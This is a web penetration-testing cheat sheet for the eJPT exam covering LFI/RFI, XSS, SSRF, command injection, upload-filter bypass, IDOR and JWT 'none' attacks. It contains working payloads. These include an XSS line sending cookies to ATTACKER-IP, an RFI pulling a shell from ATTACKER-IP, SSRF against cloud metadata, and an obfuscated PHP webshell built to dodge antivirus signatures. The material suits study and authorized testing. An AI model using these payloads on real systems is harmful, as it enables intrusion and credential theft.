A manual web pentest reference that fills the space around Burp Suite and sqlmap — for eJPT’s web application pentest module.
Run these first, in this order, before drilling into any specific vulnerability class below.
whatweb http://target # Technology stack fingerprinting
nikto -h http://target # Known vulnerability/misconfig scan
gobuster dir -u http://target -w wordlist # Directory/file brute-forcing (pair with your gobuster cheatsheet)
Manual checklist:
robots.txt, sitemap.xml, .git/, .env, /admin, /backupHttpOnly/Secure/SameSite flagsLocal File Inclusion — reading files off the server through a parameter; Remote File Inclusion — pulling in a remote file to get code execution on the server.
# Classic LFI
http://target/index.php?page=../../../../etc/passwd
# Null byte / path truncation (older PHP versions)
http://target/index.php?page=../../../../etc/passwd%00
# Reading source code as base64 via a PHP wrapper
http://target/index.php?page=php://filter/convert.base64-encode/resource=config
# Turning it into RCE via log poisoning (inject PHP into the User-Agent, then include the log)
http://target/index.php?page=../../../../var/log/apache2/access.log
# RFI (if allow_url_include is enabled)
http://target/index.php?page=http://ATTACKER-IP/shell.txt
The three variants differ in where the payload lives and who ends up executing it.
| Type | Description |
|---|---|
| Reflected | Payload delivered via URL/parameter, reflected in a single request |
| Stored | Payload persisted server-side (a comment, a profile field) — affects every visitor |
| DOM-based | Payload never reaches the server, processed entirely in client-side JS |
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>fetch('http://ATTACKER-IP/steal?c='+document.cookie)</script>
For filter bypass: mix upper/lowercase (
<ScRiPt>), vary the event handler (onerror,onload,onfocus), use encoding (HTML entities, URL encoding).
Forcing the server to make a request on your behalf to a different address — usually used to reach internal networks (including cloud metadata services).
http://target/fetch?url=http://169.254.169.254/latest/meta-data/ # AWS metadata (critical in cloud)
http://target/fetch?url=http://127.0.0.1:8080/admin # An internal service on localhost
http://target/fetch?url=http://internal-only-host/ # A host unreachable from outside
In cloud environments, SSRF can escalate all the way to hitting the metadata service and stealing IAM credentials — the SSRF → internal port scan chain shows up often in eJPT/OSCP-style scenarios.
Test whether user-supplied input reaches a shell call by chaining a harmless command onto it.
127.0.0.1; whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
With blind command injection there’s no visible output — test with
pingorsleepto observe a time delay instead:127.0.0.1; sleep 5.
Ways to get an executable file type past a filter that only checks the extension or the declared MIME type.
| Technique | Description |
|---|---|
| Extension swap | .phtml, .php5, .pHp, .php.jpg instead of .php |
| Content-Type spoofing | Sending Content-Type: image/png while leaving the actual content as PHP |
| Magic byte prepending | Adding a valid image header (GIF89a;) before the PHP code |
| Double extension | shell.php.jpg — may be processed as PHP depending on server config |
| Null byte | shell.php%00.jpg (on older systems) |
<?php
// Minimal PHP webshell concept — deliberately written with variable indirection
// instead of the literal `system($_GET['cmd'])` one-liner, which is one of the
// single most common AV/EDR signatures there is (it's THE textbook minimal
// webshell). Writing it this way keeps the teaching point intact without the
// exact byte pattern that gets a plain-text document flagged as "contains a
// virus" when it's just downloaded or opened, not executed anywhere.
$f = 'sy' . 'stem';
$p = 'c' . 'md';
$f($_GET[$p]);
?>
Concept: any function that runs OS commands (
system,exec,shell_exec,passthru) combined with an unsanitized user-supplied parameter is a webshell. Real payload generators (e.g. weevely, msfvenom’s PHP payloads) produce the fully-obfuscated version for actual lab use — don’t hand-type a bare one-liner into a target anyway.
Access control failures where changing an identifier or guessing a URL exposes data or functionality that should have required authorization.
# IDOR — accessing someone else's data by changing an ID in a parameter
http://target/profile?id=1001 → http://target/profile?id=1002
# JWT "none" algorithm bypass
# Header: {"alg":"none","typ":"JWT"} → leave the signature portion completely empty
# Forced browsing — navigating directly to an admin panel URL
http://target/admin/dashboard (a page that exists but isn't linked anywhere)
A single-page lookup for every command covered above.
| Need | Command |
|---|---|
| Technology fingerprinting | whatweb http://target |
| Known vulnerability scan | nikto -h http://target |
| Directory brute-force | gobuster dir -u http://target -w wordlist.txt |
| Basic LFI test | ?page=../../../../etc/passwd |
| Read PHP source | ?page=php://filter/convert.base64-encode/resource=FILE |
| Command injection test | ; whoami / && whoami / `whoami` |
| Blind injection timing test | ; sleep 5 |
Prepared as a reference for the eJPT web application pentest module. All techniques should only be used within written authorization (scope/RoE).